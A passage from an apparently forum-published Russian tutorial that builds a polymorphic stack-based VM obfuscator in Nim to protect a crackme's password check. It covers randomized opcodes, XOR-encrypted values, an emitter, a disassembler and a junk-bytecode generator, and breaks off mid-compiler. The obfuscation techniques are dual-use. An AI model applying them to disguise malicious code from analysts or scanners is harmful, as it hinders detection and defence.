Код из этой статьи будет реализовывать минимальный и немного вырожденный пример, я много чего упрощу, чтобы это было понятно и удобно читать в формате статьи, но надеюсь, что вам будет интересно. Рассматривать что-то более универсальное в одной статье имеет мало смысла, будет слишком много букаф. Да мы с вами даже не будем писать свой сборщик мусора (GC – garbage collector) для нашей виртуальной машины, а переиспользуем тот, что реализован в самом ЯП Nim. Ну и да, представленный ниже код не претендует на истину в последней инстанции, может иметь баги, вызывать нозальных демонов и так далее. Всегда готов и рад услышать здравую критику или какие-либо идеи по улучшению представленного ниже кода. Критикуя — предлагайте свои решения и идеи, в спорах рождается истина, если спор имеет хоть какой-то смысл. Ну давайте начинать.
2. Стековая виртуальная машина
Стековая виртуальная машина — на то она и стековая, что подавляющее большинство вещей в ней решается через стек. Почти все инструкции нашей виртуальной машины будут либо брать что-то со стека, либо класть что-то на стек, либо делать и то и другое. Я подразумеваю, что вы все из каких-то базовых курсов по программированию и структурам данных знаете, что такое стек, если нет, то добро пожаловать на вики: https://ru.wikipedia.org/wiki/Стек — пробегитесь по этой статье и возвращайтесь читать дальше мою. Как давным- давно выяснили разработчики всяческих виртуальных машин для всяческих языков программирования стековая организация виртуальной машины прекрасно подходит для того, чтобы транслировать семантику (смысл) программного кода, представленного в виде AST в байт-код. Давайте рассмотрим следующий пример:
Code:Copy to clipboard
import macros
dump_tree:
1 + 2 * 3
# nim e astdump.nims
#
# StmtList
# Infix
# Ident "+"
# IntLit 1
# Infix
# Ident "*"
# IntLit 2
# IntLit 3
Допустим, мы хотим каким-то образом скомпилировать выражение «1 + 2 * 3». Процедура dump_tree из библиотеки macros языка Nim выведет в консоль то, каким образом код внутри блока dump_tree представляется в виде AST (древовидной структуры, помните же, да?). StmtList — это просто контейнер, который может содержать в себе несколько выражений, но на него обращать существенное внимание сейчас не стоит. Infix — это одно выражение, у которого может быть левая часть, оператор и правая часть. Так сложилось, что оператором в языке Nim является первый потомок Infix, левой частью — второй потомок, а правой частью — третий потомок. Обратите внимание, что Infix для умножения является третьим потомком Infix сложения в данном случае. Это обусловлено тем, что по правилам математики, которые все должны еще со школы знать, умножение имеет больший приоритет, чем сложение, то есть исполняется первым (по сути, исходное выражение является «(1 + (2 * 3))», если мы расставим правильно скобки по его смыслу). Интерпретатор (именно интерпретатор, а не компилятор), если бы исполнял такую конструкцию, сначала бы вычислил значение Infix умножения, потом само значение подставил бы в третьего потомка Infix сложения, а затем уже исполнил Infix сложения. Не так страшно, если вы толком ничего не поняли о том, что я сказал в этом абзаце, надеюсь, что дальше станет понятнее.
Code:Copy to clipboard
PUSH 1 # Положить на стек 1
PUSH 2 # Положить на стек 2
PUSH 3 # Положить на стек 3
MUL # Взять со стека два числа, перемножить, положить результат на стек
ADD # Взять со стека два числа, сложить, положить результат на стек
Вот так может выглядеть байт-код стековой виртуальной машины, который получится при компиляции исходного выражения. Ровно так же, как это делал интерпретатор, мы можем обходить узлы AST и генерировать код для каждого из узлов рекурсивно. Давайте рассмотрим, как это будет делать алгоритм. Алгоритм «заходит» в узел StmtList, перечисляет всех потомков узла и «заходит» в каждого из них. У нас такой потомок один. Алгоритм «заходит» в Infix, для этого узла ему сначала нужно посетить второго и третьего потомка, а затем в зависимости от оператора сгенерировать соответствующую инструкцию (для «+» - инструкцию ADD, для «*» - инструкцию MUL). При посещении узлов IntLit алгоритм просто генерирует инструкции PUSH с аргументом целого числа, взятого из узла литерала, и затем выходит, прекращая рекурсивное посещение потомков (ведь потомков у узла нет). Применяемый в этом алгоритме для посещения всех узлов дерева паттерн проектирования называется «Посетитель» (он же «Visitor» в англоязычной литературе). Байт-код стековой виртуальной машины в этом случае в точности повторяет поведения интерпретатора, наверное, именно поэтому стековые виртуальные машины стали часто использоваться при реализации языков программирования. «Я считаю, что это – стековая ВМ потому, что это удобно» (с).
Итак, давайте теперь соберем все мысли вместе. На этапе компиляции мы с помощью мета-программирования получим AST некоторого кода. С помощью паттерна Visitor обойдем все узлы полученного AST рекурсивно — ровно так же, как это сделал бы интерпретатор. Для каждого узла наш компилятор будет генерировать соответствующий байт-код. Затем мы возьмем этот блок байт-кода, обернем в код ВМ и подставим на место исходного кода, который нам нужно было защитить. Ну чтож, звучит, как план — надежный, как швейцарские часы!
3. Программирование крекмиши
Крекмиша будет ровно такая же, как и предыдущей статье. Код будет запрашивать у пользователя пароль в консоли, хешировать его предельно простым алгоритмом, сравнивать значение хеша с эталонным и выводить сообщения об успехе или неуспехе в консоль.
Code:Copy to clipboard
import vm/types
import vm/compiler
import vm/runtime
const hash_seed = ct_seed.uint32
proc cp_hash_string(str: string): uint32 {. compile_time .} =
result = hash_seed
for i in 0 ..< len(str):
let v1 = result * 0xab10f29f'u32
let v2 = v1 + ord(str[i]).uint32
result += v2 and 0xffffff'u32
proc original_function() =
echo("Enter password, bro: ")
var password = read_line(stdin)
var xhash = hash_seed
for i in 0 ..< len(password):
let v1 = xhash * 0xab10f29f'u32
let v2 = ord(password[i]).uint32
xhash += (v1 + v2) and 0xffffff'u32
if xhash == cp_hash_string("TestDatVmStuff"):
echo("Password is valid, bro!")
echo("You are real cracker, bro!")
else:
echo("Password is invalid, bro!")
echo("Better luck next time, bro!")
Константа hash_seed является уникальным зерном для алгоритма хеширования и генерируется в зависимости от даты и времени компиляции. Процедура cp_hash_string хеширует строку на этапе компиляции и подставляет на место ее вызова 32-битный хеш от переданной строки. Процедура original_function проделывает все манипуляции с пользователем и консолью, описанные выше. Почему же я назвал ее «оригинальной функцией»? Помните, я говорил, что компиляторы в байт-код проводят своего рода упрощения кода, переводя высокоуровневые конструкции языка в низкоуровневые. Давайте в качестве упражнения и для упрощения себе жизни при разработке компилятора проделаем это руками.
Code:Copy to clipboard
proc lowered_function() {. virtualize .} =
echo("Enter password, bro: ")
var password = read_line(stdin)
var xhash = hash_seed
var slen = len(password)
var i = 0
while i < slen:
let v1 = xhash * 0xab10f29f'u32
let v2 = ord(password[i]).uint32
let v3 = (v1 + v2) and 0xffffff'u32
xhash = xhash + v3
i = i + 1
if xhash == cp_hash_string("TestDatVmStuff"):
echo("Password is valid, bro!")
echo("You are real cracker, bro!")
else:
echo("Password is invalid, bro!")
echo("Better luck next time, bro!")
lowered_function()
Обратите внимание, что цикл for мы упростили до цикла while. Эта типичный пример так называемого «lowering» в компиляторах. Для того, чтобы в генераторе кода (или байт-кода, как хотите) не делать обработку двух видов циклов (for и while) можно сделать обработку одного низкоуровневого из них, а высокоуровневый привести к виду низкоуровневого заранее (до генерации кода). Таких примеров перевода одних конструкций в другие в компиляторах можно встретить много, для нашего минимального примера достаточно и одного (в образовательных целях).
На последней строчке кода стоит вызов процедуры, а у самой процедуры есть интересный атрибут «virtualize» - это главный макрос, который мы с вами напишем позже, он проделает всю работу над процедурой lowered_function, преобразуя ее в байткод и вызов ВМ.
Давайте посмотрим на этот код и прикинем, какие структуры данных и код нам потребуется, чтобы реализовать процедуру lowered_function в байт-коде виртуальной машины. Для начала я вижу, что в процедуре используются три типа данных. Строки (string) и 32-битные беззнаковые целые числа (uint32) используются явно, но, поскольку у нас есть и операторы сравнения, то нам понадобится еще и булевый тип данных. Таким образом, нам понадобятся опкоды для того, чтобы положить на стек константы для string и uint32 типов данных. В коде есть операторы умножения, сложения, побитового «И», применяемые над типом данных uint32, функции len, echo и ord, применяемые над типом string. Все эти операторы и функции будут в нашей ВМ представлены отдельными опкодами. Кроме того, нам нужна возможность объявлять, получать и изменять значения локальных переменных, для этого тоже будет отдельные опкоды. Нам нужно выводить и считывать строки из/в консоли, еще вам два опкода, получите и распишитесь. Ну и, конечно, самое важное для любой ВМ – опкод NOP (no operation, то есть ничего не делать). Шучу. Его наличие не обязательно, но я его добавил для того, чтобы господа реверсеры, которые будут эту крекмиху решать, имели возможность «занопить» какие-то участки байт-кода. Крекми же подразумевает, что ее как-то можно решить за конечное и адекватное время.
Одной из задач, которую я себе ставил этим проектом, была создать своего рода полиморфную ВМ. То есть, например, сделать так, чтобы при каждой сборке опкоды имели разное значение. Для этого я навернул разных алгоритмов в компилятор, некоторые из них хорошие, некоторые из них плохие. При этом для экономии места я не стал включать в статью алгоритмы полиморфизации кода самой виртуальной машины (только байт-кода), хотя на практике это лучше сделать. Но опкоды у нас будут каждый раз разные и мы даже сделаем небольшой генератор мусорного байт- кода. Мне показалось, что эти вещи будет интереснее осветить в статье, чем другие. Само собой задача статьи – не дать готовый инструмент, а показать основы и пробудить интерес к этой теме в общем.
4. Типы и структуры ВМ
Ну чтож, начнем писать компилятор и код самой виртуальной машины. Для начала нам потребуется один общий модуль, содержащий все типы данных и общие процедуры для ВМ и компилятора. Для этого создадим модуль types.
Code:Copy to clipboard
import std/algorithm
import std/random
import std/hashes
import std/macros
const ct_time* = CompileDate & CompileTime
const ct_seed* = ct_time.hash().int64
var ct_rand* {. compile_time .} = init_rand(ct_seed)
Подключаем необходимые стандартные библиотеки языка Nim и на этапе компиляции генерируем уникальное зерно, для этого получаем хеш-значение текущей даты и времени компиляции. Затем, с помощью зерна инициализируем генератор псевдослучайных чисел. Атрибут compile_time указывает компилятору языка Nim, что этот ГПСЧ может быть использован на этапе компиляции, а не на этапе исполнения.
Code:Copy to clipboard
macro rand_enum(node: untyped): untyped =
node.last.expect_kind(nnkEnumTy)
var idents = new_seq[NimNode]()
for item in node.last:
if item.kind == nnkIdent:
idents.add(item)
elif item.kind == nnkEnumFieldDef:
item[0].expect_kind(nnkIdent)
idents.add(item[0])
var values = new_seq[uint8]()
for i in 0 ..< idents.len():
var rnd = ct_rand.rand(1..255).uint8
while values.contains(rnd):
rnd = ct_rand.rand(1..255).uint8
values.add(rnd)
values.sort(system.cmp)
ct_rand.shuffle(idents)
var last = nnkEnumTy.new_tree()
last.add(new_empty_node())
let lownode = nnkEnumFieldDef.new_tree()
lownode.add(ident("LowEnumItemFuckYou"))
lownode.add(new_lit(0'u8))
last.add(lownode)
for i in 0 ..< idents.len():
let node = nnkEnumFieldDef.new_tree()
let value = new_lit(values[i])
node.add(idents[i])
node.add(value)
last.add(node)
node[^1] = last
return node
Макрос rand_enum с помощью генератора псевдослучайных чисел рандомизирует константы элементов перечисления. Для этого он собирает все идентификаторы исходного перечисления, для каждого из них генерирует уникальное псевдослучайное число, а затем создает новое перечисление, где каждому идентификатору соответствует уникальное число. Важно отметить, что компилятору языка Nim по неведомой мне причине необходим нулевой элемент в перечислении (low item). Для удовлетворения этой потребности мы просто закостылим во все рандомизированные перечисления своей нулевой элемент, который у нас будет носить говорящее о многом название «LowEnumItemFuckYou».
Code:Copy to clipboard
type TypeKind* {. pure, rand_enum .} = enum
Boolean, Integer, String
type Object* = object
case kind: TypeKind
of TypeKind.Boolean:
boolean_key: uint8
boolean_val: uint8
of TypeKind.Integer:
integer_key: uint32
integer_val: uint32
of TypeKind.String:
string_key: uint32
string_val: seq[uint8]
else: discard
const ct_true* = ct_rand.rand(1 .. 255).uint8
const ct_false* = not ct_true
Объявим перечисление типов данных виртуальной машины (TypeKind), как мы с вами и договаривались ранее (3 типа – були, целые числа, строки). Затем объявим структуру «объекта» виртуальной машины (Object). Под «объектом» мы будем понимать сущность, которая держит внутри себя значение типа данных. Эта сущность будет использоваться при реализации стека и контейнера для всех локальных переменных. Данные в этой сущности будут храниться в памяти в зашифрованном виде и расшифровываться по мере необходимости. Для каждой такой сущности ключ шифрования данных в памяти будет создан псевдослучайно. Ну и в конце представленного кода мы объявим две константы, которые в нашей ВМ будут означать true и false, чтобы не использовать для этого пресловутые единицу и ноль.
Code:Copy to clipboard
proc rand_uint32*(): uint32 =
let rng = 1'u32 .. 0xFFFFFFFF'u32
return rand(rng).uint32
proc ct_rand_uint32*(): uint32 =
let next = ct_rand.next() and 0xFFFFFFFF'u64
return 1'u32 + (next.uint32 mod 0xFFFFFFFF'u32)
proc rand_uint16*(): uint16 =
let rng = 1'u32 .. 0xFFFF'u32
return rand(rng).uint16
proc ct_rand_uint16*(): uint16 =
let rng = 1'u32 .. 0xFFFF'u32
return ct_rand.rand(rng).uint16
proc rand_uint8*(): uint8 =
return rand(1 .. 255).uint8
proc ct_rand_uint8*(): uint8 =
return ct_rand.rand(1 .. 255).uint8
proc ct_rand_string*(mn: int, mx: int): string =
let length = ct_rand.rand(mn .. mx)
result = new_string_of_cap(length)
for i in 0 ..< length:
let ascii = ct_rand.rand('a' .. 'z')
result &= chr(ascii.int)
proc set_boolean*(obj: var Object, value: bool) =
let rvl =
if value: ct_true
else: ct_false
let key = rand_uint8()
let val = rvl xor key
obj.kind = TypeKind.Boolean
obj.boolean_key = key
obj.boolean_val = val
proc get_boolean*(obj: Object): uint8 =
let key = obj.boolean_key
return obj.boolean_val xor key
proc new_boolean_obj*(value: bool): Object =
result = Object()
result.set_boolean(value)
proc set_integer*(obj: var Object, value: uint32) =
let key = rand_uint32()
let val = value xor key
obj.kind = TypeKind.Integer
obj.integer_key = key
obj.integer_val = val
proc get_integer*(obj: Object): uint32 =
let key = obj.integer_key
return key xor obj.integer_val
proc new_integer_obj*(value: uint32): Object =
result = Object()
result.set_integer(value)
proc xor_string*(key: uint32, value: string): seq[uint8] =
let bkey = [
(key shr 0 and 0xFF'u8).uint8,
(key shr 8 and 0xFF'u8).uint8,
(key shr 16 and 0xFF'u8).uint8,
(key shr 24 and 0xFF'u8).uint8
]
result = new_seq[uint8](value.len)
for i in 0 ..< result.len:
let ikey = bkey[i mod 4] + i.uint8
let ichr = ord(value[i]).uint8
result[i] = ikey xor ichr
proc xor_string*(key: uint32, value: seq[uint8]): string =
let bkey = [
(key shr 0 and 0xFF'u8).uint8,
(key shr 8 and 0xFF'u8).uint8,
(key shr 16 and 0xFF'u8).uint8,
(key shr 24 and 0xFF'u8).uint8
]
result = new_string_of_cap(value.len)
for i in 0 ..< value.len:
let ikey = bkey[i mod 4] + i.uint8
let ichr = ikey xor value[i]
result &= chr(ichr)
proc set_string*(obj: var Object, value: string) =
let key = rand_uint32()
let val = xor_string(key, value)
obj.kind = TypeKind.String
obj.string_key = key
obj.string_val = val
proc get_string*(obj: Object): string =
let key = obj.string_key
let val = obj.string_val
return xor_string(key, val)
proc new_string_obj*(value: string): Object =
result = Object()
result.set_string(value)
Нам понадобятся отдельные вспомогательные функции для генерации псевдослучайных чисел, как на этапе компиляции, так и на этапе выполнения, для четкого разделения между ними функции времени компиляции имеют префикс “ct”. Далее мы создаем вспомогательные функции для того, чтобы устанавливать и получать значения «объекта» виртуальной машины, в зависимости от его типа. При этом мы реализуем простое шифрование, таким образом данные в памяти не будут присутствовать в открытом виде до их непосредственного использования. Некоторые вещи здесь выглядят не особо оптимизированными, как, например, перевод 32-битного числа в массив из четырех байт в функциях xor_string, но это не суть важно, понадеемся, что компилятор эти вещи правильно соптимизирует.
Code:Copy to clipboard
type Opcode* {. pure, rand_enum .} = enum
Nop, # Ничего не делать
PushI, # Положить на стек целое число
PushS, # Положить на стек строку
Pop, # Удалить верхушку стека
Store, # Сохранить верхушку стека в переменную
Load, # Загрузить переменную на стек
Add, # Сложить два числа на верхушке стека
Mul, # Умножить два числа на верхушке стека
And, # Применить побитовое "И" к верхушке стека
Eq, # Сравнить два числа на верхушке стека на равенство
Lt, # Сравнить, что одно число меньше другого
JmpF, # Условный переход, если на верхушке стека false
Jmp, # Безусловный переход
Slen, # Взять строку с верхушки стека, положить ее длину на стек
Ord, # Взять строку и индекс со стека, положить ASCII-код символа
Echo, # Вывести в консоль строку с верхушки стека
Input, # Считать с консоли строку, положить в стек
Halt # Завершить исполнение ВМ
proc ct_rand_choice*(arr: open_array[Opcode]): Opcode =
return ct_rand.sample(arr)
type Fixup* = object
opcode*: int
offset*: int
Ну и в конце объявляем опкоды нашей виртуальной машины и функцию для выбора псевдослучайного элемента из массива на этапе компиляции. Опкоды по идее должны говорить сами за себя, но если что-то не понятно, то пишите свои вопросы в комментарии к статье. Ну и да, обратите внимание, что опкоды и идентификаторы типов данных ВМ мы полиморфим с помощью реализованного в самом начале макроса. Структура Fixup понадобится нам для реализации условных и безусловных переходов в компиляторе, в ней будет хранится смещение опкода и на что его пофиксить. Чем-то похоже на релок в PE-формате, но смысл этой конструкции аналогичен использованию метки в ассемблерном листинге или в рассово-верных Сишечках и Басиках.
5. Создаем эмиттер
«Эмиттером» в компиляторах часто называют некий интерфейс, который создает байт-код (или нативный код), который ему скажут. В нашем случае мы просто будем иметь структуру с динамическим массивом байт и набор функций для того, чтобы просто и удобно писать туда (в динамический массив) наш байт-код.
Code:Copy to clipboard
import types
type Emitter* = object
code*: seq[uint8]
proc new_emitter*(): Emitter =
result = Emitter()
result.code = new_seq[uint8]()
proc position*(emi: Emitter): int =
return emi.code.len
proc write(emi: var Emitter, value: uint8) =
emi.code.add(value)
proc write(emi: var Emitter, value: uint32) =
emi.code.add((value shr 0 and 0xFF'u8).uint8)
emi.code.add((value shr 8 and 0xFF'u8).uint8)
emi.code.add((value shr 16 and 0xFF'u8).uint8)
emi.code.add((value shr 24 and 0xFF'u8).uint8)
proc write(emi: var Emitter, position: int, value: uint32) =
emi.code[position + 0] = (value shr 0 and 0xFF'u8).uint8
emi.code[position + 1] = (value shr 8 and 0xFF'u8).uint8
emi.code[position + 2] = (value shr 16 and 0xFF'u8).uint8
emi.code[position + 3] = (value shr 24 and 0xFF'u8).uint8
proc write(emi: var Emitter, value: open_array[uint8]) =
emi.code.add(value)
proc emit_opcode*(emi: var Emitter, opcode: Opcode): int =
result = emi.code.len
var key = ct_rand_uint8()
var val = opcode.uint8
emi.write(key xor val)
emi.write(key)
proc emit_arg_uint8(emi: var Emitter, value: uint8): int =
result = emi.code.len
var key = ct_rand_uint8()
emi.write(key xor value)
emi.write(key)
proc emit_arg_uint32(emi: var Emitter, value: uint32): int =
result = emi.code.len
var key = ct_rand_uint32()
emi.write(value xor key)
emi.write(key)
proc emit_arg_uint32(emi: var Emitter, position: int, value: uint32): int =
result = emi.code.len
var key = ct_rand_uint32()
emi.write(position, value xor key)
emi.write(position + 4, key)
proc emit_arg_string(emi: var Emitter, value: string): int =
result = emi.code.len
var key = ct_rand_uint32()
var ke2 = (key and 0xFF).uint8
var val = xor_string(key, value)
var sln = val.len.uint8 xor ke2
emi.write(sln)
emi.write(key)
emi.write(val)
proc emit_nop*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Nop)
proc emit_pushi*(emi: var Emitter, value: uint32): int =
result = emi.emit_opcode(Opcode.PushI)
discard emi.emit_arg_uint32(value)
proc emit_pushs*(emi: var Emitter, value: string): int =
result = emi.emit_opcode(Opcode.PushS)
discard emi.emit_arg_string(value)
proc emit_pop*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Pop)
proc emit_store*(emi: var Emitter, index: int): int =
result = emi.emit_opcode(Opcode.Store)
discard emi.emit_arg_uint8(index.uint8)
proc emit_load*(emi: var Emitter, index: int): int =
result = emi.emit_opcode(Opcode.Load)
discard emi.emit_arg_uint8(index.uint8)
proc emit_add*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Add)
proc emit_mul*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Mul)
proc emit_and*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.And)
proc emit_eq*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Eq)
proc emit_lt*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Lt)
proc emit_slen*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Slen)
proc emit_ord*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Ord)
proc emit_jmpf*(emi: var Emitter): Fixup =
result = Fixup()
result.opcode = emi.emit_opcode(Opcode.JmpF)
result.offset = emi.emit_arg_uint32(0)
proc emit_jmp*(emi: var Emitter): Fixup =
result = Fixup()
result.opcode = emi.emit_opcode(Opcode.Jmp)
result.offset = emi.emit_arg_uint32(0)
proc emit_echo*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Echo)
proc emit_input*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Input)
proc emit_halt*(emi: var Emitter): int =
result = emi.emit_opcode(Opcode.Halt)
proc bind_fixup*(emi: var Emitter, fix: Fixup, value: uint32): int =
return emi.emit_arg_uint32(fix.offset, value)
Для начала мы объявляем структуру объекта эмиттера (Emitter), его конструктор (new_emitter) и функцию для получения текущей позиции эмиттера (смещение от начала байт-кода того места, куда будет записана следующая инструкция). Затем мы создадим несколько приватных методов для записи различных типов данных в эмиттер, а уже после этого все методы для записи всех опкодов нашей ВМ. Каждый опкод и каждая константа записывается вместе с псевдослучайным ключем для ее простого шифрования. Если опкод требует параметра, то значение этого параметра передается в соответствующую функцию записи опкода (сделать такие функции прослойки – это хороший метод не проебаться на ровном месте, ведь компилятор выдаст ошибку, если мы попытаемся записать опкод без аргумента, или же с аргументом неправильного типа). Функция bind_fixup заменяет указанный релок или фиксап, прописывая действительный адрес байт-кода, относительно его начала.
6. Создаем ридер и дизассемблер
«Ридером» у нас будет называться отдельный интерфейс образно обратный эмиттеру, то есть предназначенный для чтения и дешифрования того, что мы записали с помощью эмиттера. Его можно было бы встроить и в саму ВМ, но мы с вами еще и дизассемблер напишем в процессе, так что хорошо бы этот функционал вывести в отдельный модуль, который может быть переиспользован в разных компонентах. Код должен говорить сам за себя, но, если что-то непонятно, не стесняйтесь спрашивать.
Code:Copy to clipboard
import types
type Reader* = object
code*: seq[uint8]
position*: int
proc new_reader*(code: seq[uint8]): Reader =
result = Reader()
result.code = code
result.position = 0
proc at_end*(rea: Reader): bool =
return rea.position >= rea.code.len
proc set_end*(rea: var Reader) =
rea.position = rea.code.len
proc read_uint8(rea: var Reader): uint8 =
result = rea.code[rea.position]
rea.position = rea.position + 1
proc read_uint32(rea: var Reader): uint32 =
result = rea.code[rea.position].uint32 shl 0
result = result or (rea.code[rea.position + 1].uint32 shl 8)
result = result or (rea.code[rea.position + 2].uint32 shl 16)
result = result or (rea.code[rea.position + 3].uint32 shl 24)
rea.position = rea.position + 4
proc read_bytes(rea: var Reader, length: int): seq[uint8] =
result = rea.code[rea.position ..< rea.position + length]
rea.position = rea.position + length
proc read_opcode*(rea: var Reader): Opcode =
let val = rea.read_uint8()
let key = rea.read_uint8()
return (key xor val).Opcode
proc read_arg_uint8*(rea: var Reader): uint8 =
let val = rea.read_uint8()
let key = rea.read_uint8()
return key xor val
proc read_arg_uint32*(rea: var Reader): uint32 =
var val = rea.read_uint32()
var key = rea.read_uint32()
return key xor val
proc read_arg_string*(rea: var Reader): string =
var sln = rea.read_uint8()
let key = rea.read_uint32()
let ke2 = (key and 0xFF).uint8
sln = sln xor ke2
let val = rea.read_bytes(sln.int)
return xor_string(key, val)
Дизассемблер байт-кода может пригодиться нам в том случае, если наш будущий компилятор будет генерировать какой-то ошибочный байт-код. Поэтому на этапе компиляции языка Nim мы будем на всякий случай выбрасывать в консоль то, что накомпилировал уже наш компилятор. Поскольку мы будем использовать дизассемблер только на этапе компиляции в финальный экзешник он не попадет. По функционалу дизассемблер просто считывает байт-код с помощью ридера и выводит каждую инструкцию и ее аргумент (если такой есть) в консоль.
Code:Copy to clipboard
import std/strformat
import std/strutils
import reader
import types
proc to_string*(opcode: Opcode): string =
return case opcode
of Opcode.Nop: "NOP"
of Opcode.PushI: "PUSHI"
of Opcode.PushS: "PUSHS"
of Opcode.Pop: "POP"
of Opcode.Store: "STORE"
of Opcode.Load: "LOAD"
of Opcode.Add: "ADD"
of Opcode.Mul: "MUL"
of Opcode.And: "AND"
of Opcode.Eq: "EQ"
of Opcode.Lt: "LT"
of Opcode.JmpF: "JMPF"
of Opcode.Jmp: "JMP"
of Opcode.Slen: "SLEN"
of Opcode.Ord: "ORD"
of Opcode.Echo: "ECHO"
of Opcode.Input: "INPUT"
of Opcode.Halt: "HALT"
else: "WTF?!"
proc disassemble_one*(rea: var Reader): string =
let offset = rea.position
let opcode = rea.read_opcode()
let opcstr = opcode.to_string()
var opcarg = ""
case opcode
of Opcode.PushI:
let arg = rea.read_arg_uint32()
opcarg = &"{arg} (0x{arg.to_hex})"
of Opcode.PushS:
let arg = rea.read_arg_string()
opcarg = &"\"{arg}\""
of Opcode.Load:
let arg = rea.read_arg_uint8()
opcarg = &"index:{arg}"
of Opcode.Store:
let arg = rea.read_arg_uint8()
opcarg = &"index:{arg}"
of Opcode.JmpF:
let arg = rea.read_arg_uint32()
opcarg = &"{arg:04}"
of Opcode.Jmp:
let arg = rea.read_arg_uint32()
opcarg = &"{arg:04}"
else: discard
return &"{offset:04} {opcstr: 5} {opcarg}"
proc disassemble_restore*(rea: var Reader): string =
let position = rea.position
result = disassemble_one(rea)
rea.position = position
proc disassemble*(code: seq[uint8]): string =
result = ""
var rea = new_reader(code)
while not rea.at_end():
result &= rea.disassemble_one()
result &= "\n"
7. Создаем компилятор
Компилятор будет получать AST-дерево кода, который нужно защитить, обходить все дерево этого кода с помощью паттерна «Посетитель» и генерировать байт-код для нашей ВМ. Это, наверное, самая сложная часть всего проекта, так что пристегните ремни.
Code:Copy to clipboard
import std/strformat
import std/strutils
import std/tables
import std/macros
import emitter
import disasm
import types
const generate_trash = false
type Fixup = object
target: uint32
fixup: uint32
type Compiler = object
locals: Table[string, int]
fixups: seq[Fixup]
emit: Emitter
root: NimNode
proc to_hex(code: seq[uint8]): string =
result = ""
for byt in code:
result &= byt.to_hex()
proc new_compiler(root: NimNode): Compiler =
root.expect_kind(nnkStmtList)
result = Compiler()
result.locals = init_table[string, int]()
result.fixups = new_seq[Fixup]()
result.emit = new_emitter()
result.root = root
Константа generate_trash определяет, нужно ли компилятору генерировать мусорный байт-код и вмешивать его в настоящий байт-код. Опциональная генерация мусорного кода сделана для удобства отладки компилятора, зачем нам копаться в мусорном коде, если нужно отладить компилятор, так ведь? У нашей структуры компилятора будет всего лишь несколько полей. Нам нужно содержать таблицу локальных переменных, где имя локальной переменной будет ассоциировано с ее же порядковым номером внутри виртуальной машины. Массив фиксапов на самом деле оказался не так уж и нужен, но я его добавил на всякий случай, если фиксап нужно будет реализовывать между разными узлами AST в компиляторе. Но вот эмиттер нам понадобится, с его помощью компилятор будет генерировать байт-код. На всякий случай и указатель на корень компилируемого дерева (AST имеется ввиду) сохраним. Еще мы сделаем специальную функцию to_hex, которая просто конвертирует массив байт-кода в длинную хекс строку, ее мы будем выводить в консоль, чтобы убедиться в некоей степени полиморфности байт-кода. В конструкторе компилятора (new_compiler) мы просто проверяем, что нам передали узел StmtList (с помощью функции expect_kind) и инициализируем все поля структуры.
Code:Copy to clipboard
proc trash_generate_math(compiler: var Compiler) =
let val1 = ct_rand_uint32()
let val2 = ct_rand_uint32()
let oper = ct_rand_choice([
Opcode.Add, Opcode.Mul,
Opcode.And
])
discard compiler.emit.emit_pushi(val1)
discard compiler.emit.emit_pushi(val2)
discard compiler.emit.emit_opcode(oper)
discard compiler.emit.emit_pop()
proc trash_generate_str(compiler: var Compiler) =
let str = ct_rand_string(4, 12)
discard compiler.emit.emit_pushs(str)
if ct_rand_uint8() mod 2 == 1:
discard compiler.emit.emit_slen()
discard compiler.emit.emit_pop()
else: discard compiler.emit.emit_pop()
proc trash_generate(compiler: var Compiler) =
if generate_trash:
case ct_rand_uint8() mod 4
of 0: compiler.trash_generate_math()
of 1: compiler.trash_generate_math()
of 2: compiler.trash_generate_str()
else: discard compiler.emit.emit_nop()
Для начала давайте разогреемся написанием небольшого генератора мусорного кода. Наша ВМ стековая, поэтому по большому счету семантика (смысл) двух следующих друг за другом опкодов не поменяется, если между ними вставить любой фрагмент байт-кода, который после своего исполнения оставит стек ровно таким же, как и до своего исполнения. Так, например, функция trash_generate_math сгенерирует код, который как будто бы производит математическую операцию над двумя константами, но на самом деле просто отбрасывает результат математики с помощью опкода POP в конце. Аналогично функция trash_generate_str производит как будто бы манипуляции с длиной строки, но также отбрасывает результат исполнения и оставляет стек в исходном виде. Функция trash_generate псевдослучайно выбирает, какой мусорный код генерировать, в том числе может и просто NOP пихнуть. Понятно, что генератор мусорного кода достаточно примитивен, мне он по большому счету был нужен только для того, чтобы продемонстрировать концепт встраивания мусорного кода в байт-код стековой ВМ. Более интеллектуальные генераторы останутся вам в качестве домашнего задания.
Code:Copy to clipboard
proc compile_generic(compiler: var Compiler, node: NimNode)
proc compile_children(compiler: var Compiler, node: NimNode, exclude: open_array[int] = []) =
var i = 0
for child in node.children:
if not exclude.contains(i):
compiler.compile_generic(child)
i = i + 1
Для реализации паттерна «Посетитель» нам необходимо будет реализовать несколько методов. Самый главный из них - compile_generic пока мы просто объявим, но реализуем его позже. Он будет посещать текущий узел, посещать всех потомков узла, и в зависимости от типа текущего узла вызывать соответствующую функцию для генерации байт-кода. Функция compile_children посещает всех потомков узла кроме тех, номера которых указаны в массиве параметром exclude.
Code:Copy to clipboard
proc compile_strlit(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkStrLit)
compiler.trash_generate()
discard compiler.emit.emit_pushs(node.str_val)
proc compile_intlit(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkIntLit)
compiler.trash_generate()
discard compiler.emit.emit_pushi(node.int_val.uint32)
proc compile_uintlit(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkUintLit)
compiler.trash_generate()
discard compiler.emit.emit_pushi(node.int_val.uint32)
proc compile_uint32lit(compiler: var Compiler, node: NimNode) =
node.expect_kind(nnkUint32Lit)
compiler.trash_generate()
discard compiler.emit.emit_pushi(node.int_val.uint32)
